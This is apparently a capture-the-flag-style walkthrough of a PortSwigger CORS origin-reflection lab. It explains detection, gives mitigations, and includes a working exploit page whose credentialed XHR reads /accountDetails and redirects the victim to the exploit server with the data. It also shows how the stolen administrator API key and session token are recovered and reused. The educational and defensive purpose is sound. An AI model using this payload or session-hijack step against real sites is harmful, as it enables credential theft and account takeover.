TL;DR: A misconfigured CORS policy reflects arbitrary Origin headers and returns Access-Control-Allow-Credentials: true. By hosting a simple credentialed XHR on the exploit server we can read /accountDetails from a victimβs browser and exfiltrate the administrator API key. β
This article documents a focused, semi-formal proof-of-concept for the CORS vulnerability with basic origin reflection lab (PortSwigger). The goal: clear, reproducible steps showing detection, exploitation, and mitigation. π§β¨
CORS (Cross-Origin Resource Sharing) is a browser-enforced mechanism that controls whether a web page from one origin may read responses from another origin. Detection is straightforward:
- Inspect responses to sensitive endpoints (e.g.,
/accountDetails) and look forAccess-Control-Allow-OriginandAccess-Control-Allow-Credentials. - Replay the request in Burp Repeater adding a custom
Origin:header. If the server echoes that origin inAccess-Control-Allow-Originand returnsAccess-Control-Allow-Credentials: true, the configuration is vulnerable to credentialed cross-origin data leaks.
Quick test checklist:
- Capture a request to the target sensitive endpoint.
- Replay in Repeater with a custom
Origin:header. - If the response reflects the origin and sets
Allow-Credentials: true, proceed to PoC.
- Turn on Burp in FoxyProxy and visit the website.
Why: ensures all requests/responses are captured for inspection and replay.
- Login with
wiener:peter.
Why: you need a valid authenticated session so credentialed cross-origin requests will be authenticated.
-
Observe the account page and session cookie. Example shown:
My Account Your username is: wiener Your API Key is: e7sYf1rF0Bx3yeLkoAvFbZ8mTYi8KV59Cookie Editor shows:
Session: QGbWUXM9gQ4pWOD7kBhiS6IWPPocQlb9.
Why: confirms endpoint returns API key for authenticated users and a session cookie exists.
- Re-login and note session change.
Example session after re-login:
1dZgM10rECyMTMsXCiSQ755ExPxojLEL.
Why: session tokens are per-login β these are what the browser will send with credentialed XHRs.
-
Check HTTP history in Burp:
/accountDetailsresponses includeAccess-Control-Allow-Credentials: true. Response body example:{ "username": "wiener", "email": "", "apikey": "e7sYf1rF0Bx3yeLkoAvFbZ8mTYi8KV59", "sessions": ["QGbWUXM9g..."] }
Why: presence of Allow-Credentials: true is a key signal to test origin reflection.
- Forward a
/accountDetailsrequest to Repeater and send it.
Why: Repeater allows controlled testing (add headers, inspect responses) without browser interference.
-
Add a header
Origin: www.AdityaBhatt3010.comand resend. Response shows:Access-Control-Allow-Origin: www.AdityaBhatt3010.com Access-Control-Allow-Credentials: truewith the same account JSON body.
Why: this proves the server reflects the Origin header and allows credentials β the unsafe combination.
- Click Go to Exploit Server and paste the exploit HTML into the exploit server body (use your lab host instead of the example host). Then hit Deliver to the Victim.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AdityaBhatt3010</title>
</head>
<body>
<h1>AdityaBhatt3010</h1>
<script>
const request = new XMLHttpRequest();
request.open("GET",
"https://0a40007c04479b90804a0d6200190008.web-security-academy.net/accountDetails",
true);
request.onload = () => {
// redirect to exploit-server path including the response body
window.location.href = "/AdityaBhatt3010?key=" + encodeURIComponent(request.responseText);
};
// include cookies / credentials in the cross-origin request
request.withCredentials = true;
request.send();
</script>
</body>
</html>Code explanation (concise):
new XMLHttpRequest()β create XHR to perform cross-origin call.open("GET", ".../accountDetails", true)β prepare async GET to the target endpoint.withCredentials = trueβ instructs browser to include session cookies so the request is authenticated as the victim.onloadusesrequest.responseTextandencodeURIComponent()to safely add the JSON response to an exploit-server URL; redirect causes the exploit server to log the data.send()β issues the request.
-
Open the exploit server Access Log. Example logs captured:
.. ... "GET /exploit/ HTTP/1.1" 200 ... 10.0.4.155 ... "GET /AdityaBhatt3010?key={%20%20%22username%22:%20%22administrator%22,...}" 404 ...
Why: shows the victim fetched the exploit and the browser redirected with the exfiltrated JSON in the query string.
-
URL-decode the captured query string to reveal the JSON and admin
apikey. Decoded snippet:"username": "administrator", "email": "", "apikey": "7CFTDS031hlyTbYKPas5CKxz4tLkHRGi", "sessions": ["nOkPeehZC45DLTNpKhKtS0ltbY2xQnDu"]
*Why:* confirms successful exfiltration of administrator credentials.
- Submit the recovered API key (
7CFTDS031hlyTbYKPas5CKxz4tLkHRGi) to the lab solution page.
*Why:* completes the lab verification.
- Lab solved β confirmation appears in the lab UI. π₯³
- Optional: paste the recovered admin session token into your cookie editor and access the admin page.
*Why:* demonstrates the impact β session takeover and privileged access from the exfiltrated session token.
- Do not reflect arbitrary
Originheaders. Validate the incomingOriginagainst a strict allowlist server-side. - If credentials are required, set
Access-Control-Allow-Credentials: trueonly alongside a single, validatedAccess-Control-Allow-Originvalue β never*. - Harden cookies: use
HttpOnly,Secure, andSameSite=Lax/Strictas appropriate. - Avoid returning secrets (API keys, session tokens) in responses that could be reachable cross-origin; require additional authentication for sensitive endpoints.
- Monitor & alert on dynamic origin reflections and suspicious reflection patterns.
Thanks for following the walkthrough. Patch the server-side logic, harden CORS handling and CORS misconfig as hostile; those three moves will stop this class of exploit cold. Stay curious, keep testing responsibly and follow for more. πΏ













